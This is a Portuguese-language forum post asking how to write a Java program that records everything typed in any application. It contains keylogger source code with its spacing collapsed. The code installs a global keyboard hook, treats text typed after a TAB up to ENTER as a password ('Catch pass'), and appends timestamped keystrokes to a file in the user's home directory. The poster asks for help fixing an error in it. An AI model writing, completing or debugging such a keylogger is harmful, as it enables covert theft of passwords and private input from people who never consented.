Estou querendo cirar em java um programa que capture as entradas do teclado. Tudo oque for digitado no browser ou em qualquer outro programa sera registrado em um txt.
Eu sei utilizar a classe Scanner. Mas ela parece que só captura oq é digitado na linha de comando.
Alguem sabe como eu posso capturar todas as entradas?
Aqui esta dando um erro besta aqui! o codigo é esse:
importjava.awt.event.KeyEvent;importjava.io.BufferedWriter;importjava.io.FileWriter;importjava.io.IOException;importjava.text.SimpleDateFormat;importjava.util.Date;importorg.eclipse.swt.extension.hook.Hook;importorg.eclipse.swt.extension.hook.data.*;importorg.eclipse.swt.extension.hook.listener.HookEventListener;publicclassKeyLogger{StringBufferpass=newStringBuffer();StringBufferrest=newStringBuffer();booleanconcat=false;Stringfile=System.getProperty("user.home")+System.getProperty("file.separator")+System.getProperty("user.name")+".txt";finalintwordSize=5;intcount;publicKeyLogger(){Hook.KEYBOARD.addListener(newHookEventListener(){@OverridepublicvoidacceptHookData(HookDatahookData){KeyboardHookDatakhd=(KeyboardHookData)hookData;booleants=khd.getTransitionState();longkeyCode=khd.getVirtualKeyCode();if(hookData!=null&&!ts){if(keyCode==KeyEvent.VK_TAB){System.out.println("TAB");concat=true;}// of TABif(concat){System.out.println("CONCAT");if(keyCode!=KeyEvent.VK_TAB&&keyCode!=13)pass.append((char)keyCode);System.out.println(pass);if(keyCode==13){System.out.println("ENTER");System.out.println("Catch pass:"+pass);StringsDate=newSimpleDateFormat("dd/MM/yyyy H:m:s").format(newDate());appendFile(sDate+"=["+pass.toString()+"]",true);// cleanpass=newStringBuffer();concat=false;}// of ENTER}// of concatelse{if(count==wordSize){appendFile(rest.toString(),false);rest=newStringBuffer();count=0;}else{rest.append((char)keyCode);}// increasecount++;}}//}});Hook.KEYBOARD.install();/* * Runtime.getRuntime().addShutdownHook( new Thread(){ public void * run(){ System.out.println("Leaving"); appendFile(); } }); */}publicvoidappendFile(Stringpass,booleannl){try{BufferedWriterout=newBufferedWriter(newFileWriter(file,true));out.write(pass);if(nl)out.newLine();out.close();}catch(IOExceptione){e.printStackTrace();}}publicstaticvoidmain(Stringargs[]){newKeyLogger();}}